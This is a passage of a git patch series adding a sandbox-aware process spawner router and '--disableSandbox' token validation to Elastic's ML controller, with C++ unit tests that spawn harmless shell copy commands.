From 00dae7e5ccb85f45d85cf994b6f760006d7e14b3 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Wed, 9 Sep 2026 21:21:34 +0200 Subject: [PATCH 01/36] [ML] Add CProcessSpawnerRouter (PR E Task 2) Dispatches an already-decided route (E_Sandbox2/E_Legacy) to CSandboxedProcessSpawner or core::CDetachedProcessSpawner. Fixes three defects in the frozen enhancement/sandbox2 prior art: never re-parses --disableSandbox from args (route is an explicit caller-supplied parameter), never retries a failed Sandbox2 launch through the legacy spawner (V2), and explicitly fails closed - rather than silently falling through - when a sandboxed process path is requested on a build without Sandbox2 support. --- bin/controller/CMakeLists.txt | 4 +- bin/controller/CProcessSpawnerRouter.cc | 98 +++++++++++ bin/controller/CProcessSpawnerRouter.h | 103 +++++++++++ bin/controller/unittest/CMakeLists.txt | 2 + .../unittest/CProcessSpawnerRouterTest.cc | 161 ++++++++++++++++++ 5 files changed, 367 insertions(+), 1 deletion(-) create mode 100644 bin/controller/CProcessSpawnerRouter.cc create mode 100644 bin/controller/CProcessSpawnerRouter.h create mode 100644 bin/controller/unittest/CProcessSpawnerRouterTest.cc diff --git a/bin/controller/CMakeLists.txt b/bin/controller/CMakeLists.txt index 661b9355a5..b8f595dda7 100644 --- a/bin/controller/CMakeLists.txt +++ b/bin/controller/CMakeLists.txt @@ -11,9 +11,10 @@ project("ML Controller") -set(ML_LINK_LIBRARIES +set(ML_LINK_LIBRARIES ${Boost_LIBRARIES} MlCore + MlSandbox MlSeccomp MlVer ) @@ -22,5 +23,6 @@ ml_add_executable(controller CBlockingCallCancellingStreamMonitor.cc CCmdLineParser.cc CCommandProcessor.cc + CProcessSpawnerRouter.cc CResponseJsonWriter.cc ) diff --git a/bin/controller/CProcessSpawnerRouter.cc b/bin/controller/CProcessSpawnerRouter.cc new file mode 100644 index 0000000000..287e7274f0 --- /dev/null +++ b/bin/controller/CProcessSpawnerRouter.cc @@ -0,0 +1,98 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ +#include "CProcessSpawnerRouter.h" + +#include + +#include + +namespace ml { +namespace controller { + +CProcessSpawnerRouter::CProcessSpawnerRouter(const TStrVec& permittedProcessPaths, + const TStrVec& sandboxedProcessPaths) + : m_LegacySpawner{permittedProcessPaths}, m_SandboxedProcessPaths{sandboxedProcessPaths} { +} + +bool CProcessSpawnerRouter::isSandboxedProcessPath(const std::string& processPath) const { + return std::find(m_SandboxedProcessPaths.begin(), m_SandboxedProcessPaths.end(), processPath) != + m_SandboxedProcessPaths.end(); +} + +bool CProcessSpawnerRouter::spawn(ERoute route, + const std::string& processPath, + const TStrVec& args, + core::CProcess::TPid& childPid) { + if (route == ERoute::E_Legacy) { + // Operator kill-switch route: the caller has already validated the + // --disableSandbox token against this exact processPath and + // stripped it from args before this call - this router never + // re-parses args to decide anything (unlike the frozen prior art's + // spawn(), which re-derived disableSandbox from args itself). + LOG_INFO(<< "Launching '" << processPath + << "' without Sandbox2 (operator kill switch --disableSandbox); " + << "the in-process seccomp filter applies"); + return m_LegacySpawner.spawn(processPath, args, childPid); + } + + // route == ERoute::E_Sandbox2: dispatch on whether processPath is + // configured as sandboxed, not on anything derived from args. + if (this->isSandboxedProcessPath(processPath)) { +#ifdef SANDBOX2_AVAILABLE + // No automatic fallback to the legacy spawner on a Sandbox2 + // failure (V2, MG1): a process that must be sandboxed either + // launches inside Sandbox2 or does not launch at all. + return m_SandboxSpawner.spawn(processPath, args, childPid); +#else + // Build/deployment contradiction: processPath is configured as + // sandboxed, but this build has no Sandbox2 support (non-Linux). + // pytorch_inference should never be listed as sandboxed on such a + // platform - fail closed and say why, rather than silently falling + // through to the legacy spawner as the frozen router's #ifdef + // Linux masked this exact case by doing. + LOG_ERROR(<< "Refusing to launch '" << processPath + << "': configured as a sandboxed process path, but this " + << "build was not compiled with Sandbox2 support"); + return false; +#endif + } + + // Not a sandboxed process path: unrelated processes always go via the + // legacy spawner, unchanged from today's behaviour. + return m_LegacySpawner.spawn(processPath, args, childPid); +} + +bool CProcessSpawnerRouter::terminateChild(core::CProcess::TPid pid) { + if (m_LegacySpawner.terminateChild(pid)) { + return true; + } +#ifdef SANDBOX2_AVAILABLE + if (m_SandboxSpawner.terminateChild(pid)) { + return true; + } +#endif + return false; +} + +bool CProcessSpawnerRouter::hasChild(core::CProcess::TPid pid) const { + if (m_LegacySpawner.hasChild(pid)) { + return true; + } +#ifdef SANDBOX2_AVAILABLE + if (m_SandboxSpawner.hasChild(pid)) { + return true; + } +#endif + return false; +} + +} // namespace controller +} // namespace ml diff --git a/bin/controller/CProcessSpawnerRouter.h b/bin/controller/CProcessSpawnerRouter.h new file mode 100644 index 0000000000..ad0f53ec4a --- /dev/null +++ b/bin/controller/CProcessSpawnerRouter.h @@ -0,0 +1,103 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ +#ifndef INCLUDED_ml_controller_CProcessSpawnerRouter_h +#define INCLUDED_ml_controller_CProcessSpawnerRouter_h + +#include +#include + +#include + +#include +#include + +namespace ml { +namespace controller { + +//! \brief +//! Routes an already-decided process spawn request to the Sandbox2 or +//! legacy spawner. +//! +//! DESCRIPTION:\n +//! Unlike the frozen prior-art router this design supersedes, this class +//! never inspects \p args to decide how to route a spawn: the caller (the +//! CCommandProcessor built in a companion task) has already validated any +//! operator kill-switch token and decided the route before calling spawn(). +//! This router's only job is to dispatch that already-decided route to the +//! right backend and enforce the fail-closed rules around Sandbox2 +//! availability - it must never re-derive the route or retry a failed +//! Sandbox2 launch through the legacy spawner. +//! +//! Processes listed in sandboxedProcessPaths are routed to Sandbox2 when +//! the route is E_Sandbox2 and this build has Sandbox2 support; all other +//! permitted processes - and any explicit E_Legacy route - use the legacy +//! (posix_spawn-based) spawner. +//! +class CProcessSpawnerRouter { +public: + using TStrVec = std::vector; + + //! The route a spawn() call has already been assigned, decided upstream + //! of this class (by CCommandProcessor). This router never derives a + //! route itself from \p args or from \p processPath alone. + enum class ERoute { + //! Use Sandbox2 for processes listed in sandboxedProcessPaths (when + //! this build has Sandbox2 support); every other permitted process + //! is unaffected and always goes via the legacy spawner, exactly + //! like today's CDetachedProcessSpawner-only paths. + E_Sandbox2, + //! Operator kill-switch route: the caller has already validated the + //! disableSandbox token against this exact processPath and stripped + //! it from args. Always dispatches to the legacy spawner. + E_Legacy + }; + +public: + CProcessSpawnerRouter(const TStrVec& permittedProcessPaths, + const TStrVec& sandboxedProcessPaths); + + //! Dispatch a spawn request per the already-decided \p route. Returns + //! false immediately on a Sandbox2 failure - never retries via the + //! legacy spawner (V2, "no automatic fallback"). + bool spawn(ERoute route, + const std::string& processPath, + const TStrVec& args, + core::CProcess::TPid& childPid); + + //! Terminate a child previously spawned by either backend. + bool terminateChild(core::CProcess::TPid pid); + + //! \return true if either backend owns a still-live child with this PID. + bool hasChild(core::CProcess::TPid pid) const; + +private: + //! \return true if \p processPath is configured as a sandboxed process + //! path - used for dispatch only, never to decide the route itself. + bool isSandboxedProcessPath(const std::string& processPath) const; + +private: + core::CDetachedProcessSpawner m_LegacySpawner; + + //! Always present: CSandboxedProcessSpawner compiles - and is safely + //! constructible/queryable - on every platform (see + //! lib/sandbox/CSandboxedProcessSpawner_Linux.cc), so no #ifdef is + //! needed around this member's declaration. Its spawn()/terminateChild() + //! are only ever *called* from this router behind an explicit + //! SANDBOX2_AVAILABLE check - see the .cc. + sandbox::CSandboxedProcessSpawner m_SandboxSpawner; + + TStrVec m_SandboxedProcessPaths; +}; + +} // namespace controller +} // namespace ml + +#endif // INCLUDED_ml_controller_CProcessSpawnerRouter_h diff --git a/bin/controller/unittest/CMakeLists.txt b/bin/controller/unittest/CMakeLists.txt index 93c7c78cca..ade2d60e5d 100644 --- a/bin/controller/unittest/CMakeLists.txt +++ b/bin/controller/unittest/CMakeLists.txt @@ -15,6 +15,7 @@ set (SRCS Main.cc CBlockingCallCancellingStreamMonitorTest.cc CCommandProcessorTest.cc + CProcessSpawnerRouterTest.cc CResponseJsonWriterTest.cc ) @@ -22,6 +23,7 @@ set(ML_LINK_LIBRARIES ${Boost_LIBRARIES_WITH_UNIT_TEST} ${LIBXML2_LIBRARIES} MlCore + MlSandbox MlTest MlVer ) diff --git a/bin/controller/unittest/CProcessSpawnerRouterTest.cc b/bin/controller/unittest/CProcessSpawnerRouterTest.cc new file mode 100644 index 0000000000..b7f8de746a --- /dev/null +++ b/bin/controller/unittest/CProcessSpawnerRouterTest.cc @@ -0,0 +1,161 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ + +#include + +#include "../CProcessSpawnerRouter.h" + +#include + +#include +#include +#include +#include +#include + +// This file follows CCommandProcessorTest.cc's convention of testing spawn +// dispatch without a spawner spy: it drives real (non-Linux) dispatch to +// core::CDetachedProcessSpawner and observes side effects / hasChild(), and +// gates anything that would actually reach CSandboxedProcessSpawner behind +// SANDBOX2_AVAILABLE - the same macro CProcessSpawnerRouter::spawn() itself +// branches on - rather than the coarser `Linux`. + +BOOST_AUTO_TEST_SUITE(CProcessSpawnerRouterTest) + +namespace { +#ifdef Windows +// Unlike Windows NT system calls, copy's command line cannot cope with +// forward slash path separators +const std::string INPUT_FILE{"testfiles\\slogan1.txt"}; +const char* winDir{std::getenv("windir")}; +const std::string PROCESS_PATH{winDir != nullptr ? std::string{winDir} + "\\System32\\cmd" + : std::string{"C:\\Windows\\System32\\cmd"}}; +std::string copyArgsScript(const std::string& outputFile) { + return "copy " + INPUT_FILE + " " + outputFile; +} +const std::string SHELL_FLAG{"/C"}; +#else +const std::string INPUT_FILE{"testfiles/slogan1.txt"}; +const std::string PROCESS_PATH{"/bin/sh"}; +std::string copyArgsScript(const std::string& outputFile) { + return "cp " + INPUT_FILE + " " + outputFile; +} +const std::string SHELL_FLAG{"-c"}; +#endif +const std::string SLOGAN1{"Elastic is great!"}; + +//! Run \p router's spawn() for a shell command that copies INPUT_FILE to +//! \p outputFile, and assert the copy actually happened - proof the call +//! was dispatched to a working spawner backend, not just that spawn() +//! returned true. +void assertDispatchCopiesFile(ml::controller::CProcessSpawnerRouter& router, + ml::controller::CProcessSpawnerRouter::ERoute route, + const std::string& outputFile) { + std::remove(outputFile.c_str()); + + ml::controller::CProcessSpawnerRouter::TStrVec args{SHELL_FLAG, copyArgsScript(outputFile)}; + ml::core::CProcess::TPid childPid{0}; + BOOST_TEST_REQUIRE(router.spawn(route, PROCESS_PATH, args, childPid)); + BOOST_TEST_REQUIRE(childPid != 0); + + // Expect the copy to complete well inside 1 second, matching + // CCommandProcessorTest.cc's own timing assumption for the same kind of + // command. + std::this_thread::sleep_for(std::chrono::seconds{1}); + + std::ifstream ifs{outputFile}; + BOOST_TEST_REQUIRE(ifs.is_open()); + std::string content; + std::getline(ifs, content); + ifs.close(); + BOOST_REQUIRE_EQUAL(SLOGAN1, content); + + std::remove(outputFile.c_str()); +} +} + +BOOST_AUTO_TEST_CASE(testSandbox2RouteDispatchesLegacyForUnsandboxedPath) { + // processPath is permitted but not listed as sandboxed: an E_Sandbox2 + // route must still land on the legacy spawner, exactly like today's + // CDetachedProcessSpawner-only paths for autodetect/categorize/etc. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths; // empty + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + assertDispatchCopiesFile(router, ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, + "router_test_never_sandboxed.txt"); +} + +BOOST_AUTO_TEST_CASE(testLegacyRouteDispatchesLegacyForSandboxedPath) { + // processPath IS listed as sandboxed, but the caller has already + // decided E_Legacy (operator kill switch, validated upstream): the + // router must still dispatch to the legacy spawner and never consult + // Sandbox2 availability for this route. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + assertDispatchCopiesFile(router, ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + "router_test_legacy_route.txt"); +} + +BOOST_AUTO_TEST_CASE(testTerminateAndHasChildCoverBothBackends) { + // A PID this router never spawned is owned by neither backend. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + BOOST_REQUIRE_EQUAL(false, router.hasChild(0)); + BOOST_REQUIRE_EQUAL(false, router.terminateChild(0)); +} + +#ifndef SANDBOX2_AVAILABLE +BOOST_AUTO_TEST_CASE(testSandbox2RouteFailsClosedWithoutSandbox2Support) { + // Build/deployment contradiction case (design doc): processPath is + // configured as sandboxed, but this build has no Sandbox2 support. + // spawn() must fail closed - never fall through to the legacy spawner, + // and never touch either spawner's live-child bookkeeping for the pid + // it would have used. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{SHELL_FLAG, copyArgsScript("router_test_should_not_run.txt")}; + ml::core::CProcess::TPid childPid{0}; + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, + PROCESS_PATH, args, childPid)); + + // No child was ever registered with either backend for this attempt. + BOOST_REQUIRE_EQUAL(false, router.hasChild(childPid)); + + // The legacy spawner was never reached either: the output file the + // copy command would have produced must not exist. + std::ifstream ifs{"router_test_should_not_run.txt"}; + BOOST_REQUIRE_EQUAL(false, ifs.is_open()); +} +#endif // !SANDBOX2_AVAILABLE + +// Buildkite-deferred (Linux + Sandbox2 only, design.md V2): asserting that +// an E_Sandbox2 route for a sandboxedProcessPaths entry reaches +// CSandboxedProcessSpawner::spawn(), and that a failure there returns false +// without any retry through the legacy spawner, needs a real Sandbox2 +// launch target. That requires the payload-executable + filesystem-policy +// scaffolding lib/sandbox/unittest/CMakeLists.txt builds for +// CSandboxedProcessSpawnerLifecycleTest_Linux (payloads/, sandbox2::sandbox2 +// link, Linux-only CMake block) - none of which bin/controller/unittest +// currently has. This host (macOS) cannot build or run that scaffolding, so +// this assertion is intentionally not implemented here; it belongs either +// in a future Linux-gated addition to this file once bin/controller/unittest +// grows the same payload machinery, or as a lib/sandbox-level test that +// exercises CProcessSpawnerRouter directly. + +BOOST_AUTO_TEST_SUITE_END() From 647585977db3fe28fa7ec3e0d69434c211c83d3e Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Wed, 9 Sep 2026 21:33:07 +0200 Subject: [PATCH 02/36] [ML] Add typed route model + controller-token parsing (PR E Task 1) Extends CCommandProcessor to decide a spawn route (E_Sandbox2 default, E_Legacy only for the operator kill-switch token) and hand it to the now-landed CProcessSpawnerRouter, instead of talking to CDetachedProcessSpawner directly. handleStart() scans tokens for --disableSandbox before any spawn decision: zero occurrences keeps the Sandbox2 route; exactly one occurrence on the configured sandboxed path strips the token and routes to legacy; any other case (wrong path, or 2+ occurrences) rejects the command before spawning. CCommandProcessor's constructor now takes an explicit sandboxedProcessPaths list (no default that reuses permittedProcessPaths). --- bin/controller/CCommandProcessor.cc | 55 ++++- bin/controller/CCommandProcessor.h | 22 +- bin/controller/Main.cc | 4 +- .../unittest/CCommandProcessorTest.cc | 219 +++++++++++++++++- 4 files changed, 286 insertions(+), 14 deletions(-) diff --git a/bin/controller/CCommandProcessor.cc b/bin/controller/CCommandProcessor.cc index c74f2bd6e6..3f3025ca4c 100644 --- a/bin/controller/CCommandProcessor.cc +++ b/bin/controller/CCommandProcessor.cc @@ -20,6 +20,10 @@ namespace { const std::string TAB(1, '\t'); const std::string EMPTY_STRING; +//! The only controller-control token design.md names today. Any other +//! unrecognised "--" prefixed token is passed through to the spawned +//! process unchanged - this task does not invent a general token schema. +const std::string DISABLE_SANDBOX_TOKEN{"--disableSandbox"}; } namespace ml { @@ -30,8 +34,10 @@ const std::string CCommandProcessor::START{"start"}; const std::string CCommandProcessor::KILL{"kill"}; CCommandProcessor::CCommandProcessor(const TStrVec& permittedProcessPaths, + const TStrVec& sandboxedProcessPaths, std::ostream& responseStream) - : m_Spawner{permittedProcessPaths}, m_ResponseWriter{responseStream} { + : m_Spawner{permittedProcessPaths, sandboxedProcessPaths}, + m_SandboxedProcessPaths{sandboxedProcessPaths}, m_ResponseWriter{responseStream} { } void CCommandProcessor::processCommands(std::istream& commandStream) { @@ -92,7 +98,52 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { std::string processPath{std::move(tokens[0])}; tokens.erase(tokens.begin()); - if (m_Spawner.spawn(processPath, tokens) == false) { + // Scan for the operator kill-switch token before any spawn decision is + // made. Never "last one wins"/"first one wins" on duplicates - count + // them all and reject outright if there's more than one. + std::size_t disableSandboxCount{0}; + TStrVec::iterator firstDisableSandbox{tokens.end()}; + for (auto iter = tokens.begin(); iter != tokens.end(); ++iter) { + if (*iter == DISABLE_SANDBOX_TOKEN) { + if (disableSandboxCount == 0) { + firstDisableSandbox = iter; + } + ++disableSandboxCount; + } + } + + if (disableSandboxCount >= 2) { + std::string error{"Rejecting command: '" + DISABLE_SANDBOX_TOKEN + "' specified " + + core::CStringUtils::typeToString(disableSandboxCount) + + " times for process '" + processPath + '\''}; + LOG_ERROR(<< error << " in command with ID " << id); + m_ResponseWriter.writeResponse(id, false, error); + return false; + } + + CProcessSpawnerRouter::ERoute route{CProcessSpawnerRouter::ERoute::E_Sandbox2}; + if (disableSandboxCount == 1) { + bool isConfiguredSandboxedPath{std::find(m_SandboxedProcessPaths.begin(), + m_SandboxedProcessPaths.end(), + processPath) != m_SandboxedProcessPaths.end()}; + if (isConfiguredSandboxedPath == false) { + std::string error{"Rejecting command: '" + DISABLE_SANDBOX_TOKEN + + "' is only valid for the configured sandboxed process, " + "not '" + + processPath + '\''}; + LOG_ERROR(<< error << " in command with ID " << id); + m_ResponseWriter.writeResponse(id, false, error); + return false; + } + + // Operator kill-switch validated against this exact processPath: + // strip it before it reaches the spawner and route to legacy. + route = CProcessSpawnerRouter::ERoute::E_Legacy; + tokens.erase(firstDisableSandbox); + } + + core::CProcess::TPid childPid{0}; + if (m_Spawner.spawn(route, processPath, tokens, childPid) == false) { std::string error{"Failed to start process '" + processPath + '\''}; LOG_ERROR(<< error << " in command with ID " << id); m_ResponseWriter.writeResponse(id, false, error); diff --git a/bin/controller/CCommandProcessor.h b/bin/controller/CCommandProcessor.h index 342ee27397..c75ef3f0ae 100644 --- a/bin/controller/CCommandProcessor.h +++ b/bin/controller/CCommandProcessor.h @@ -11,8 +11,7 @@ #ifndef INCLUDED_ml_controller_CCommandProcessor_h #define INCLUDED_ml_controller_CCommandProcessor_h -#include - +#include "CProcessSpawnerRouter.h" #include "CResponseJsonWriter.h" #include @@ -63,7 +62,16 @@ class CCommandProcessor { static const std::string KILL; public: - CCommandProcessor(const TStrVec& permittedProcessPaths, std::ostream& responseStream); + //! \param permittedProcessPaths Processes that may be started/killed. + //! \param sandboxedProcessPaths Subset of \p permittedProcessPaths for + //! which the operator kill-switch token (\c --disableSandbox) is + //! meaningful. Pass an explicit (possibly empty) list - there is + //! no default that reuses \p permittedProcessPaths, because doing + //! so would silently make every permitted process + //! sandboxed-eligible. + CCommandProcessor(const TStrVec& permittedProcessPaths, + const TStrVec& sandboxedProcessPaths, + std::ostream& responseStream); //! Action commands read from the supplied \p commandStream until //! end-of-file is reached. @@ -86,7 +94,13 @@ class CCommandProcessor { private: //! Used to spawn/kill the requested processes. - core::CDetachedProcessSpawner m_Spawner; + CProcessSpawnerRouter m_Spawner; + + //! Processes for which the \c --disableSandbox controller-control token + //! is meaningful (see handleStart()). Kept separately from whatever + //! m_Spawner stores internally, since this is used to validate/reject + //! the token *before* any spawn decision is made. + TStrVec m_SandboxedProcessPaths; //! Used to write responses in JSON format to the response stream. CResponseJsonWriter m_ResponseWriter; diff --git a/bin/controller/Main.cc b/bin/controller/Main.cc index 9a863f2429..4df1144011 100644 --- a/bin/controller/Main.cc +++ b/bin/controller/Main.cc @@ -206,8 +206,10 @@ int main(int argc, char** argv) { ml::controller::CCommandProcessor::TStrVec permittedProcessPaths{ "./autodetect", "./categorize", "./data_frame_analyzer", "./normalize", "./pytorch_inference"}; + ml::controller::CCommandProcessor::TStrVec sandboxedProcessPaths{"./pytorch_inference"}; - ml::controller::CCommandProcessor processor{permittedProcessPaths, *outputStream}; + ml::controller::CCommandProcessor processor{permittedProcessPaths, sandboxedProcessPaths, + *outputStream}; processor.processCommands(*commandStream); cancellerThread.stop(); diff --git a/bin/controller/unittest/CCommandProcessorTest.cc b/bin/controller/unittest/CCommandProcessorTest.cc index d8701dcb7d..19acc64430 100644 --- a/bin/controller/unittest/CCommandProcessorTest.cc +++ b/bin/controller/unittest/CCommandProcessorTest.cc @@ -58,7 +58,7 @@ BOOST_AUTO_TEST_CASE(testStartPermitted) { std::ostringstream responseStream; { ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; - ml::controller::CCommandProcessor processor{permittedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, {}, responseStream}; std::string command{"1\t" + ml::controller::CCommandProcessor::START + '\t' + PROCESS_PATH}; for (std::size_t index = 0; index < std::size(PROCESS_ARGS1); ++index) { @@ -99,7 +99,7 @@ BOOST_AUTO_TEST_CASE(testStartNonPermitted) { std::ostringstream responseStream; { ml::controller::CCommandProcessor::TStrVec permittedPaths{"some other process"}; - ml::controller::CCommandProcessor processor{permittedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, {}, responseStream}; std::string command{"2\t" + ml::controller::CCommandProcessor::START + '\t' + PROCESS_PATH}; for (std::size_t index = 0; index < std::size(PROCESS_ARGS2); ++index) { @@ -135,7 +135,7 @@ BOOST_AUTO_TEST_CASE(testStartNonExistent) { std::ostringstream responseStream; { ml::controller::CCommandProcessor::TStrVec permittedPaths{"some other process"}; - ml::controller::CCommandProcessor processor{permittedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, {}, responseStream}; std::string command{"3\t" + ml::controller::CCommandProcessor::START + "\tsome other process"}; @@ -156,7 +156,7 @@ BOOST_AUTO_TEST_CASE(testKillDisallowed) { std::ostringstream responseStream; { ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; - ml::controller::CCommandProcessor processor{permittedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, {}, responseStream}; std::string command{"4\t" + ml::controller::CCommandProcessor::KILL + '\t' + pidStr}; @@ -174,7 +174,7 @@ BOOST_AUTO_TEST_CASE(testInvalidVerb) { std::ostringstream responseStream; { ml::controller::CCommandProcessor::TStrVec permittedPaths{"some other process"}; - ml::controller::CCommandProcessor processor{permittedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, {}, responseStream}; std::string command{"5\tdrive\tsome other process"}; @@ -190,7 +190,7 @@ BOOST_AUTO_TEST_CASE(testTooFewTokens) { std::ostringstream responseStream; { ml::controller::CCommandProcessor::TStrVec permittedPaths{"some other process"}; - ml::controller::CCommandProcessor processor{permittedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, {}, responseStream}; std::string command{ml::controller::CCommandProcessor::START + "\tsome other process"}; @@ -205,7 +205,7 @@ BOOST_AUTO_TEST_CASE(testMissingId) { std::ostringstream responseStream; { ml::controller::CCommandProcessor::TStrVec permittedPaths{"some other process"}; - ml::controller::CCommandProcessor processor{permittedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, {}, responseStream}; std::string command{ml::controller::CCommandProcessor::START + "\tsome other process\targ1\targ2"}; @@ -217,4 +217,209 @@ BOOST_AUTO_TEST_CASE(testMissingId) { BOOST_REQUIRE_EQUAL("[]", responseStream.str()); } +namespace { +//! Build a tab-separated "start" command for \p processPath with \p args. +std::string startCommand(std::uint32_t id, const std::string& processPath, + const std::vector& args) { + std::string command{ml::core::CStringUtils::typeToString(id) + '\t' + + ml::controller::CCommandProcessor::START + '\t' + processPath}; + for (const auto& arg : args) { + command += '\t'; + command += arg; + } + return command; +} + +//! \return true if \p file does not exist / could not be opened. +bool fileAbsent(const std::string& file) { + std::ifstream ifs{file}; + return ifs.is_open() == false; +} +} + +BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateDisableSandboxTokenOnSandboxedPath) { + // Two occurrences of the token must be rejected outright, even when + // processPath IS the configured sandboxed path - never "last one + // wins"/"first one wins". + const std::string OUT{"duplicate_reject_sandboxed_out.txt"}; + std::remove(OUT.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; + + std::string command{startCommand( + 10, PROCESS_PATH, + {"-c", "cp " + INPUT_FILE1 + " " + OUT, "--disableSandbox", "--disableSandbox"})}; + + BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); + } + + // Rejected before any spawn: the copy must never have happened. + BOOST_REQUIRE_EQUAL(true, fileAbsent(OUT)); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":10,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("specified 2 times") != std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateDisableSandboxTokenOnNonSandboxedPath) { + // Duplicate-token rejection applies regardless of whether processPath + // matches a configured sandboxed path. + const std::string OUT{"duplicate_reject_nonsandboxed_out.txt"}; + std::remove(OUT.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths; // empty + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; + + std::string command{startCommand( + 11, PROCESS_PATH, + {"-c", "cp " + INPUT_FILE1 + " " + OUT, "--disableSandbox", "--disableSandbox"})}; + + BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); + } + + BOOST_REQUIRE_EQUAL(true, fileAbsent(OUT)); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":11,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("specified 2 times") != std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testStartRejectsDisableSandboxTokenOnNonSandboxedPath) { + // A single --disableSandbox token is only meaningful for the exact + // configured sandboxed path; on any other permitted process it must be + // rejected rather than silently ignored or passed through. + const std::string OUT{"single_reject_nonsandboxed_out.txt"}; + std::remove(OUT.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths; // empty: PROCESS_PATH not sandboxed + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; + + std::string command{startCommand( + 12, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + OUT, "--disableSandbox"})}; + + BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); + } + + BOOST_REQUIRE_EQUAL(true, fileAbsent(OUT)); + + std::string response{responseStream.str()}; + BOOST_TEST_REQUIRE(response.find("\"id\":12,\"success\":false") != std::string::npos); + BOOST_TEST_REQUIRE(response.find("only valid for the configured sandboxed process") != + std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testStartStripsDisableSandboxTokenForConfiguredSandboxedPath) { + // A single --disableSandbox token on the configured sandboxed path must + // be stripped before the underlying spawner ever sees it. Verified via + // an observable side effect (arg count reaching the shell), not just + // the response: if the token leaked through, $# would be 1 instead of 0. + const std::string OUT{"strip_token_arg_count.txt"}; + std::remove(OUT.c_str()); + + std::ostringstream responseStream; + { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; + + std::string command{startCommand( + 13, PROCESS_PATH, + {"-c", "echo $# > " + OUT, "argv0name", "--disableSandbox"})}; + + BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); + } + + std::this_thread::sleep_for(std::chrono::seconds{1}); + + std::ifstream ifs{OUT}; + BOOST_TEST_REQUIRE(ifs.is_open()); + std::string content; + 